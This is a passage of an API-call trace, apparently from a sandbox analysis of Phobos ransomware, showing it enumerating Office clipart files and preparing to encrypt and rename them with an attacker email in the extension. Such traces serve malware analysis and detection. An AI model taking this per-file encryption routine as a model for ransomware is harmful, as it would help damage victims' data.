office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.188] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2084) returned 1 [0125.188] CloseHandle (hObject=0x594) returned 1 [0125.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0125.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.188] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.190] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1448) returned 1 [0125.190] CloseHandle (hObject=0x594) returned 1 [0125.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0125.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.190] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.191] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2996) returned 1 [0125.191] CloseHandle (hObject=0x594) returned 1 [0125.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0125.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.192] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.194] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=8564) returned 1 [0125.194] CloseHandle (hObject=0x594) returned 1 [0125.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0125.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.200] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.204] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2524) returned 1 [0125.204] CloseHandle (hObject=0x594) returned 1 [0125.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0125.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.204] SetEvent (hEvent=0x528) returned 1 [0125.204] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.205] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2324) returned 1 [0125.205] CloseHandle (hObject=0x594) returned 1 [0125.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0125.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.206] SetEvent (hEvent=0x528) returned 1 [0125.206] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.209] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=19068) returned 1 [0125.209] CloseHandle (hObject=0x594) returned 1 [0125.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0125.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.213] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.218] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2300) returned 1 [0125.218] CloseHandle (hObject=0x594) returned 1 [0125.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0125.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.222] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.227] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=13936) returned 1 [0125.227] CloseHandle (hObject=0x594) returned 1 [0125.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0125.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.227] SetEvent (hEvent=0x528) returned 1 [0125.227] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.229] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=6780) returned 1 [0125.229] CloseHandle (hObject=0x594) returned 1 [0125.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0125.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.229] SetEvent (hEvent=0x528) returned 1 [0125.229] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.230] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2280) returned 1 [0125.230] CloseHandle (hObject=0x594) returned 1 [0125.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0125.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.230] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.232] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=736) returned 1 [0125.232] CloseHandle (hObject=0x594) returned 1 [0125.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0125.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.233] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.236] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=17850) returned 1 [0125.236] CloseHandle (hObject=0x594) returned 1 [0125.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0125.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.236] SetEvent (hEvent=0x528) returned 1 [0125.236] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.237] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=11994) returned 1 [0125.237] CloseHandle (hObject=0x594) returned 1 [0125.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0125.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.237] SetEvent (hEvent=0x528) returned 1 [0125.237] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.238] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=30240) returned 1 [0125.238] CloseHandle (hObject=0x594) returned 1 [0125.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0125.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.238] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.241] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=29212) returned 1 [0125.241] CloseHandle (hObject=0x594) returned 1 [0125.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0125.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.242] SetEvent (hEvent=0x528) returned 1 [0125.242] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.245] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=37390) returned 1 [0125.245] CloseHandle (hObject=0x594) returned 1 [0125.245] GetFileAttributesW 